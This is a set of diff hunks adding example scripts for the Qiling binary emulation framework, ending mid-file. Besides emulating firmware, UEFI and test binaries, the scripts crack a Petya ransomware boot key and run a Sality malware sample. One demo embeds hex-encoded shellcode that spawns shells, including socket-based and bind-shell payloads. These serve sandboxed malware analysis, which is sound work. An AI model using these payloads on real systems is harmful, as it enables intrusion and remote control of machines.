# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def mem_crash(ql: Qiling, access: int, address: int, size: int, value: int):
|
||||
print(f'got crash')
|
||||
|
||||
PAGE_SIZE = ql.mem.pagesize
|
||||
aligned = ql.mem.align(address)
|
||||
|
||||
# map the entire page containing the invalid address and fill it with 'Q's
|
||||
ql.mem.map(aligned, PAGE_SIZE)
|
||||
ql.mem.write(aligned, b'Q' * PAGE_SIZE)
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/mem_invalid_access"], "rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.hook_mem_invalid(mem_crash)
|
||||
ql.run()
|
||||
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True)
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_sandbox(["rootfs/arm64_linux/bin/arm64_multithreading"], "rootfs/arm64_linux")
|
||||
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True)
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_sandbox(["rootfs/mips32_linux/bin/mips32_multithreading"], "rootfs/mips32_linux")
|
||||
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, multithread=True)
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_sandbox(["rootfs/mips32el_linux/bin/mips32el_multithreading"], "rootfs/mips32el_linux")
|
||||
@@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x86_windows/bin/MultiThread.exe"], "rootfs/x86_windows")
|
||||
ql.run()
|
||||
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
# After mapping /proc there will be a /dev/mtdblock11 missing and crash
|
||||
# To fix this,
|
||||
# - cd $yourfirmware_rootfs/dev
|
||||
# - dd if=/dev/zero of=mtdblock11 bs=1024 count=129030
|
||||
# - mkfs.ext4 mtdblock11
|
||||
#
|
||||
# This firmware will more or less alive now.
|
||||
|
||||
from colorama import Back
|
||||
import struct
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_INTERCEPT, QL_VERBOSE
|
||||
from qiling.os.posix import syscall
|
||||
from qiling.os.const import UINT, POINTER
|
||||
|
||||
def my_syscall_write(ql, write_fd, write_buf, write_count, *rest):
|
||||
if write_fd == 2 and ql.os.fd[2].__class__.__name__ == 'ql_pipe':
|
||||
return -1
|
||||
else:
|
||||
return syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *rest)
|
||||
|
||||
|
||||
def my_bind(ql: Qiling):
|
||||
params = ql.os.resolve_fcall_params({
|
||||
'fd': UINT,
|
||||
'addr': POINTER,
|
||||
'addrlen': UINT
|
||||
})
|
||||
|
||||
bind_fd = params['fd']
|
||||
bind_addr = params['addr']
|
||||
bind_addrlen = params['addrlen']
|
||||
|
||||
print(Back.GREEN + f'Hijack bind({bind_fd}, {bind_addr:#x}, {bind_addrlen})' + Back.RESET)
|
||||
# read from memory (start_address, len)
|
||||
data = ql.mem.read(bind_addr, bind_addrlen)
|
||||
# custom unpack (your own ql.unpack) of a C struct from memory
|
||||
# https://linux.die.net/man/7/ip -> struct
|
||||
sin_family = struct.unpack("<h", data[:2])[0] or ql.os.fd[bind_fd].family
|
||||
# little-endian short -> format_string -> https://docs.python.org/3/library/struct.html#format-strings
|
||||
port, host = struct.unpack(">HI", data[2:8])
|
||||
# big-endian unsigned short, unsigned int -> format_string
|
||||
print(Back.RED + f'[*] Socket Infos:' + Back.RESET)
|
||||
print(f'''
|
||||
Family: {sin_family}
|
||||
Port: {port} (no root: +8000)
|
||||
Host-interface?: {host}
|
||||
''')
|
||||
return 0 # from syscall.ql_syscall_bind(ql, bind_fd, bind_addr, bind_addrlen)
|
||||
|
||||
def my_netgear(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG, profile="netgear_6220.ql", multithread=False)
|
||||
ql.os.root = False
|
||||
|
||||
ql.add_fs_mapper('/proc', '/proc')
|
||||
ql.os.set_syscall(4004, my_syscall_write)
|
||||
ql.os.set_api('bind', my_bind, QL_INTERCEPT.ENTER) # intercepting the bind call on enter
|
||||
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_netgear(["rootfs/netgear_r6220/bin/mini_httpd",
|
||||
"-d", "/www",
|
||||
"-r", "NETGEAR R6220",
|
||||
"-c", "**.cgi",
|
||||
"-t", "300"],
|
||||
"rootfs/netgear_r6220")
|
||||
@@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x86_windows/bin/NtQuerySystemInformation.exe"], "rootfs/x86_windows", libcache=True)
|
||||
ql.run()
|
||||
@@ -0,0 +1,106 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
from itertools import product
|
||||
import struct
|
||||
import curses
|
||||
import sys
|
||||
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.os.disk import QlDisk
|
||||
|
||||
verfication_start_ip = 0x850B
|
||||
petya_2nd_stage_start = 0x8000
|
||||
accepted_chars = "ABCDEFG123456789abcdefghijkmnopqrstuvwx"
|
||||
|
||||
def generate_key(key: bytes):
|
||||
return b"".join([struct.pack("BB", (k + 0x7A)%256, k*2%256) for k in key])
|
||||
|
||||
def stop(ql: Qiling, addr, data):
|
||||
ql.emu_stop()
|
||||
|
||||
def one_round(ql: Qiling, key: bytes, key_address):
|
||||
gkeys = generate_key(key)
|
||||
ql.mem.write(key_address, gkeys)
|
||||
ql.run(begin=verfication_start_ip, end=verfication_start_ip+6)
|
||||
lba37 = ql.mem.read(ql.arch.regs.sp + 0x220, 0x200)
|
||||
for ch in lba37:
|
||||
if ch != 0x37:
|
||||
return False
|
||||
return True
|
||||
|
||||
# In this stage, we show that the password is correct.
|
||||
def third_stage(key):
|
||||
def pass_red(ql, addr, data):
|
||||
curses.ungetch(ord("\n"))
|
||||
curses.ungetch(ord("\r"))
|
||||
|
||||
def input_key(ql, addr, data):
|
||||
for i in key[::-1]:
|
||||
curses.ungetch(i)
|
||||
curses.ungetch(ord("\n"))
|
||||
curses.ungetch(ord("\r"))
|
||||
|
||||
ql = Qiling(["rootfs/8086/petya/petya.DOS_MBR"],
|
||||
"rootfs/8086",
|
||||
console=False,
|
||||
verbose=QL_VERBOSE.DEBUG)
|
||||
ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/petya/out_1M.raw", 0x80))
|
||||
ql.hook_code(pass_red, begin=0x886d, end=0x886d)
|
||||
ql.hook_code(input_key, begin=0x85f0, end=0x85f0)
|
||||
ql.hook_code(stop, begin=0x6806, end=0x6806)
|
||||
ql.run()
|
||||
|
||||
# In this stage, we will crack for the password.
|
||||
def second_stage(ql: Qiling):
|
||||
disk = QlDisk("rootfs/8086/petya/out_1M.raw", 0x80)
|
||||
#nonce = get_nonce(disk)
|
||||
verfication_data = disk.read_sectors(0x37, 1)
|
||||
nonce_data = disk.read_sectors(0x36, 1)
|
||||
ql.arch.regs.sp -= 0x200
|
||||
verification_data_address = ql.arch.regs.sp
|
||||
ql.arch.regs.sp -= 0x200
|
||||
nonce_address = ql.arch.regs.sp + 0x21
|
||||
ql.arch.regs.sp -= 0x20
|
||||
key_address = ql.arch.regs.sp
|
||||
ql.mem.write(verification_data_address, verfication_data)
|
||||
ql.mem.write(nonce_address - 0x21, nonce_data)
|
||||
ql.arch.stack_push(0x200)
|
||||
ql.arch.stack_push(verification_data_address)
|
||||
ql.arch.stack_push(0)
|
||||
ql.arch.stack_push(nonce_address)
|
||||
ql.arch.stack_push(key_address)
|
||||
for x in product(list(accepted_chars), repeat=2):
|
||||
ctx = ql.save()
|
||||
# 3xMxjxXxLxoxmxAx
|
||||
key = b"3xMxjxXxLxoxmx" + ("".join(x)).encode("utf-8")
|
||||
print(f"Trying: {key}")
|
||||
if one_round(ql, key, key_address):
|
||||
print(f"Key: {key}")
|
||||
return key
|
||||
else:
|
||||
ql.restore(ctx)
|
||||
return None
|
||||
|
||||
# In this stage, we have to wait for petya being load to the right place.
|
||||
def first_stage():
|
||||
ql = Qiling(["rootfs/8086/petya/petya.DOS_MBR"],
|
||||
"rootfs/8086",
|
||||
console=False,
|
||||
verbose=QL_VERBOSE.DEBUG)
|
||||
ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/petya/out_1M.raw", 0x80))
|
||||
# Workaround for `until` in uc_emu_start not working with dynamic loaded code.
|
||||
ql.hook_code(stop, begin=petya_2nd_stage_start, end=petya_2nd_stage_start)
|
||||
ql.run()
|
||||
return ql
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
ql = first_stage()
|
||||
key = second_stage(ql)
|
||||
third_stage(key)
|
||||
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_sandbox(["rootfs/x86_windows/bin/RegDemo.exe"], "rootfs/x86_windows")
|
||||
@@ -0,0 +1,215 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
from unicorn import UcError
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.os.const import POINTER, DWORD, STRING, HANDLE
|
||||
from qiling.os.windows import utils
|
||||
from qiling.os.windows.api import *
|
||||
from qiling.os.windows.fncc import *
|
||||
from qiling.os.windows.dlls.kernel32.fileapi import _CreateFile
|
||||
|
||||
def init_unseen_symbols(ql: Qiling, address: int, name: str, ordinal: int, dll_name: str):
|
||||
ql.loader.import_symbols[address] = {
|
||||
"name": name,
|
||||
"ordinal": ordinal,
|
||||
"dll": dll_name.partition('.')[0]
|
||||
}
|
||||
|
||||
ql.loader.import_address_table[dll_name][name] = address
|
||||
|
||||
if ordinal != 0:
|
||||
ql.loader.import_address_table[dll_name][ordinal] = address
|
||||
|
||||
|
||||
# HANDLE CreateThread(
|
||||
# LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
# SIZE_T dwStackSize,
|
||||
# LPTHREAD_START_ROUTINE lpStartAddress,
|
||||
# __drv_aliasesMem LPVOID lpParameter,
|
||||
# DWORD dwCreationFlags,
|
||||
# LPDWORD lpThreadId
|
||||
# );
|
||||
@winsdkapi(cc=STDCALL, params={
|
||||
'lpThreadAttributes' : LPSECURITY_ATTRIBUTES,
|
||||
'dwStackSize' : SIZE_T,
|
||||
'lpStartAddress' : LPTHREAD_START_ROUTINE,
|
||||
'lpParameter' : LPVOID,
|
||||
'dwCreationFlags' : DWORD,
|
||||
'lpThreadId' : LPDWORD
|
||||
})
|
||||
def hook_CreateThread(ql: Qiling, address: int, params):
|
||||
# set thread handle
|
||||
return 1
|
||||
|
||||
# HANDLE CreateFileA(
|
||||
# LPCSTR lpFileName,
|
||||
# DWORD dwDesiredAccess,
|
||||
# DWORD dwShareMode,
|
||||
# LPSECURITY_ATTRIBUTES lpSecurityAttributes,
|
||||
# DWORD dwCreationDisposition,
|
||||
# DWORD dwFlagsAndAttributes,
|
||||
# HANDLE hTemplateFile
|
||||
# );
|
||||
@winsdkapi(cc=STDCALL, params={
|
||||
'lpFileName' : LPCSTR,
|
||||
'dwDesiredAccess' : DWORD,
|
||||
'dwShareMode' : DWORD,
|
||||
'lpSecurityAttributes' : LPSECURITY_ATTRIBUTES,
|
||||
'dwCreationDisposition' : DWORD,
|
||||
'dwFlagsAndAttributes' : DWORD,
|
||||
'hTemplateFile' : HANDLE
|
||||
})
|
||||
def hook_CreateFileA(ql: Qiling, address: int, params):
|
||||
lpFileName = params["lpFileName"]
|
||||
if lpFileName.startswith("\\\\.\\"):
|
||||
if ql.amsint32_driver:
|
||||
return 0x13371337
|
||||
else:
|
||||
return (-1)
|
||||
else:
|
||||
ret = _CreateFile(ql, address, params)
|
||||
return ret
|
||||
|
||||
def _WriteFile(ql: Qiling, address: int, params):
|
||||
ret = 1
|
||||
hFile = params["hFile"]
|
||||
lpBuffer = params["lpBuffer"]
|
||||
nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"]
|
||||
lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"]
|
||||
#lpOverlapped = params["lpOverlapped"]
|
||||
|
||||
if hFile == 0xfffffff5:
|
||||
s = ql.mem.read(lpBuffer, nNumberOfBytesToWrite)
|
||||
ql.os.stdout.write(s)
|
||||
ql.os.stats.log_string(s.decode())
|
||||
ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite)
|
||||
else:
|
||||
f = ql.os.handle_manager.get(hFile)
|
||||
if f is None:
|
||||
# Invalid handle
|
||||
ql.os.last_error = 0xffffffff
|
||||
return 0
|
||||
else:
|
||||
f = f.obj
|
||||
buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite)
|
||||
f.write(bytes(buffer))
|
||||
ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4)
|
||||
return ret
|
||||
|
||||
@winsdkapi(cc=STDCALL, params={
|
||||
'hFile' : HANDLE,
|
||||
'lpBuffer' : LPCVOID,
|
||||
'nNumberOfBytesToWrite' : DWORD,
|
||||
'lpNumberOfBytesWritten' : LPDWORD,
|
||||
'lpOverlapped' : LPOVERLAPPED
|
||||
})
|
||||
def hook_WriteFile(ql: Qiling, address: int, params):
|
||||
hFile = params["hFile"]
|
||||
lpBuffer = params["lpBuffer"]
|
||||
nNumberOfBytesToWrite = params["nNumberOfBytesToWrite"]
|
||||
lpNumberOfBytesWritten = params["lpNumberOfBytesWritten"]
|
||||
if hFile == 0x13371337:
|
||||
buffer = ql.mem.read(lpBuffer, nNumberOfBytesToWrite)
|
||||
try:
|
||||
nNumberOfBytesToWrite = utils.io_Write(ql.amsint32_driver, buffer)
|
||||
ql.mem.write_ptr(lpNumberOfBytesWritten, nNumberOfBytesToWrite, 4)
|
||||
except Exception:
|
||||
ql.log.exception("")
|
||||
r = False
|
||||
else:
|
||||
r = True
|
||||
|
||||
return int(r)
|
||||
|
||||
else:
|
||||
return _WriteFile(ql, address, params)
|
||||
|
||||
|
||||
# BOOL StartServiceA(
|
||||
# SC_HANDLE hService,
|
||||
# DWORD dwNumServiceArgs,
|
||||
# LPCSTR *lpServiceArgVectors
|
||||
# );
|
||||
@winsdkapi(cc=STDCALL, params={
|
||||
'hService' : SC_HANDLE,
|
||||
'dwNumServiceArgs' : DWORD,
|
||||
'lpServiceArgVectors' : POINTER
|
||||
})
|
||||
def hook_StartServiceA(ql: Qiling, address: int, params):
|
||||
try:
|
||||
hService = params["hService"]
|
||||
service_handle = ql.os.handle_manager.get(hService)
|
||||
if service_handle.name == "amsint32":
|
||||
if service_handle.name in ql.os.services:
|
||||
service_path = ql.os.services[service_handle.name]
|
||||
service_path = ql.os.path.transform_to_real_path(service_path)
|
||||
|
||||
ql.amsint32_driver = Qiling([service_path], ql.rootfs, verbose=QL_VERBOSE.DEBUG)
|
||||
ntoskrnl = ql.amsint32_driver.loader.get_image_by_name("ntoskrnl.exe")
|
||||
assert ntoskrnl, 'ntoskernl.exe was not loaded'
|
||||
|
||||
init_unseen_symbols(ql.amsint32_driver, ntoskrnl.base+0xb7695, b"NtTerminateProcess", 0, "ntoskrnl.exe")
|
||||
#ql.amsint32_driver.debugger= ":9999"
|
||||
try:
|
||||
ql.amsint32_driver.load()
|
||||
return 1
|
||||
except UcError as e:
|
||||
print("Load driver error: ", e)
|
||||
return 0
|
||||
else:
|
||||
return 0
|
||||
else:
|
||||
return 1
|
||||
except Exception as e:
|
||||
ql.log.exception("")
|
||||
print (e)
|
||||
|
||||
|
||||
def hook_stop_address(ql):
|
||||
print(" >>>> Stop address: 0x%08x" % ql.arch.regs.arch_pc)
|
||||
ql.emu_stop()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["../examples/rootfs/x86_windows/bin/sality.dll"], "../examples/rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG, libcache=True)
|
||||
|
||||
# for this module
|
||||
ql.amsint32_driver = None
|
||||
|
||||
# emulate some Windows API
|
||||
ql.os.set_api("CreateThread", hook_CreateThread)
|
||||
ql.os.set_api("CreateFileA", hook_CreateFileA)
|
||||
ql.os.set_api("WriteFile", hook_WriteFile)
|
||||
ql.os.set_api("StartServiceA", hook_StartServiceA)
|
||||
#init sality
|
||||
ql.hook_address(hook_stop_address, 0x40EFFB)
|
||||
ql.run()
|
||||
# run driver thread
|
||||
|
||||
# execution is about to resume from 0x4053B2, which essentially jumps to ExitThread (kernel32.dll).
|
||||
# Set ExitThread exit code to 0
|
||||
ql.os.fcall = ql.os.fcall_select(STDCALL)
|
||||
ql.os.fcall.writeParams(((DWORD, 0),))
|
||||
|
||||
ql.hook_address(hook_stop_address, 0x4055FA)
|
||||
ql.run(0x4053B2)
|
||||
ql.log.info("test kill thread")
|
||||
if ql.amsint32_driver:
|
||||
utils.io_Write(ql.amsint32_driver, ql.pack32(0xdeadbeef))
|
||||
|
||||
# TODO: Should stop at 0x10423, but for now just stop at 0x0001066a
|
||||
ql.amsint32_driver.hook_address(hook_stop_address, 0x0001066a)
|
||||
|
||||
# TODO: not sure whether this one is really STDCALL
|
||||
ql.amsint32_driver.os.fcall = ql.amsint32_driver.os.fcall_select(STDCALL)
|
||||
ql.amsint32_driver.os.fcall.writeParams(((DWORD, 0),))
|
||||
|
||||
ql.amsint32_driver.run(begin=0x102D0)
|
||||
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def run_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run(end=0x7fffb7e98af4)
|
||||
|
||||
if __name__ == "__main__":
|
||||
run_sandbox(["rootfs/arm64_linux/bin/arm64_hello"], "rootfs/arm64_linux")
|
||||
@@ -0,0 +1,107 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("..")
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE
|
||||
|
||||
X86_LIN = bytes.fromhex('31c050682f2f7368682f62696e89e3505389e1b00bcd80')
|
||||
X8664_LIN = bytes.fromhex('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05')
|
||||
|
||||
MIPS32EL_LIN = bytes.fromhex('''
|
||||
ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e
|
||||
2f7368
|
||||
''')
|
||||
|
||||
X86_WIN = bytes.fromhex('''
|
||||
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c
|
||||
617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b5920
|
||||
01d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475
|
||||
e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ff
|
||||
e05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd5
|
||||
3c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300
|
||||
''')
|
||||
|
||||
X8664_WIN = bytes.fromhex('''
|
||||
fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52
|
||||
183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1
|
||||
c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0
|
||||
746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d
|
||||
31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b
|
||||
40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e
|
||||
595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7
|
||||
c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd5
|
||||
4831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373
|
||||
616765426f7800
|
||||
''')
|
||||
|
||||
ARM_LIN = bytes.fromhex('''
|
||||
01108fe211ff2fe102200121921a0f02193701df061c08a11022023701df3f27
|
||||
0221301c01df0139fbd505a0921a05b469460b2701dfc046020012340a000202
|
||||
2f73797374656d2f62696e2f736800
|
||||
''')
|
||||
|
||||
ARM64_LIN = bytes.fromhex('''
|
||||
420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2
|
||||
681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f1
|
||||
65ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f000001
|
||||
2f62696e2f736800
|
||||
''')
|
||||
|
||||
X8664_FBSD = bytes.fromhex('''
|
||||
6a61586a025f6a015e990f054897baff02aaaa80f2ff524889e699046680c210
|
||||
0f05046a0f05041e4831f6990f0548976a035852488d7424f080c2100f0548b8
|
||||
523243427730637257488d3e48af74084831c048ffc00f055f4889d04889fe48
|
||||
ffceb05a0f0575f799043b48bb2f62696e2f2f73685253545f5257545e0f05
|
||||
''')
|
||||
|
||||
X8664_MACOS = bytes.fromhex('''
|
||||
4831f65648bf2f2f62696e2f7368574889e74831d24831c0b00248c1c828b03b
|
||||
0f05
|
||||
''')
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("\nLinux ARM 64bit Shellcode")
|
||||
ql = Qiling(code=ARM64_LIN, archtype=QL_ARCH.ARM64, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
|
||||
print("\nLinux ARM 32bit Shellcode")
|
||||
ql = Qiling(code=ARM_LIN, archtype=QL_ARCH.ARM, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
|
||||
print("\nLinux x86 32bit Shellcode")
|
||||
ql = Qiling(code=X86_LIN, archtype=QL_ARCH.X86, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
|
||||
print("\nLinux MIPS 32bit EL Shellcode")
|
||||
ql = Qiling(code=MIPS32EL_LIN, archtype=QL_ARCH.MIPS, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
|
||||
print("\nLinux x86-64 Shellcode")
|
||||
ql = Qiling(code=X8664_LIN, archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
|
||||
print("\nWindows x86 Shellcode")
|
||||
ql = Qiling(code=X86_WIN, archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, rootfs=r'rootfs/x86_windows')
|
||||
ql.run()
|
||||
|
||||
print("\nWindows x86-64 Shellcode")
|
||||
ql = Qiling(code=X8664_WIN, archtype=QL_ARCH.X8664, ostype=QL_OS.WINDOWS, rootfs=r'rootfs/x8664_windows')
|
||||
ql.run()
|
||||
|
||||
# FIXME: freebsd sockets are currently broken.
|
||||
#
|
||||
# print("\nFreeBSD x86-64 Shellcode")
|
||||
# ql = Qiling(code=X8664_FBSD, archtype=QL_ARCH.X8664, ostype=QL_OS.FREEBSD, verbose=QL_VERBOSE.DEBUG)
|
||||
# ql.run()
|
||||
|
||||
# FIXME: macos shellcode loader is currently broken
|
||||
#
|
||||
# print("\nMacOS x86-64 Shellcode")
|
||||
# ql = Qiling(code=X8664_MACOS, archtype=QL_ARCH.X8664, ostype=QL_OS.MACOS, verbose=QL_VERBOSE.DEBUG)
|
||||
# ql.run()
|
||||
@@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import pickle
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_INTERCEPT, QL_VERBOSE
|
||||
from qiling.os.uefi.const import EFI_SUCCESS, EFI_INVALID_PARAMETER
|
||||
from qiling.os.uefi.utils import execute_protocol_notifications, signal_event
|
||||
|
||||
def force_notify_RegisterProtocolNotify(ql: Qiling, address: int, params):
|
||||
event_id = params['Event']
|
||||
|
||||
if event_id in ql.loader.events:
|
||||
# let's force notify
|
||||
event = ql.loader.events[event_id]
|
||||
event['Guid'] = params["Protocol"]
|
||||
event["Set"] = False
|
||||
|
||||
signal_event(ql, event_id)
|
||||
execute_protocol_notifications(ql, True)
|
||||
|
||||
return EFI_SUCCESS
|
||||
|
||||
return EFI_INVALID_PARAMETER
|
||||
|
||||
def my_onenter(ql: Qiling, address: int, params):
|
||||
print(f'[onenter] CopyMem : params = {params}')
|
||||
|
||||
return address, params
|
||||
|
||||
if __name__ == "__main__":
|
||||
with open("rootfs/x8664_efi/rom2_nvar.pickel", 'rb') as f:
|
||||
env = pickle.load(f)
|
||||
|
||||
ql = Qiling(["rootfs/x8664_efi/bin/TcgPlatformSetupPolicy"], "rootfs/x8664_efi", env=env, verbose=QL_VERBOSE.DEBUG)
|
||||
|
||||
ql.os.set_api("RegisterProtocolNotify", force_notify_RegisterProtocolNotify)
|
||||
ql.os.set_api("CopyMem", my_onenter, QL_INTERCEPT.ENTER)
|
||||
|
||||
ql.run()
|
||||
@@ -0,0 +1,86 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
|
||||
# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
|
||||
# 2. unzip
|
||||
# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
|
||||
# 4. locate squashfs-root
|
||||
# 5. rm -rf webroot && mv webroot_ro webroot
|
||||
#
|
||||
# notes: we are using rootfs in this example, so rootfs = squashfs-root
|
||||
#
|
||||
|
||||
import os, socket, threading
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
def patcher(ql: Qiling):
|
||||
br0_addr = ql.mem.search("br0".encode() + b'\x00')
|
||||
|
||||
for addr in br0_addr:
|
||||
ql.mem.write(addr, b'lo\x00')
|
||||
|
||||
def nvram_listener():
|
||||
server_address = 'rootfs/var/cfm_socket'
|
||||
data = ""
|
||||
|
||||
try:
|
||||
os.unlink(server_address)
|
||||
except OSError:
|
||||
if os.path.exists(server_address):
|
||||
raise
|
||||
|
||||
# Create UDS socket
|
||||
sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
|
||||
sock.bind(server_address)
|
||||
sock.listen(1)
|
||||
|
||||
while True:
|
||||
connection, _ = sock.accept()
|
||||
|
||||
try:
|
||||
while True:
|
||||
data += str(connection.recv(1024))
|
||||
|
||||
if "lan.webiplansslen" in data:
|
||||
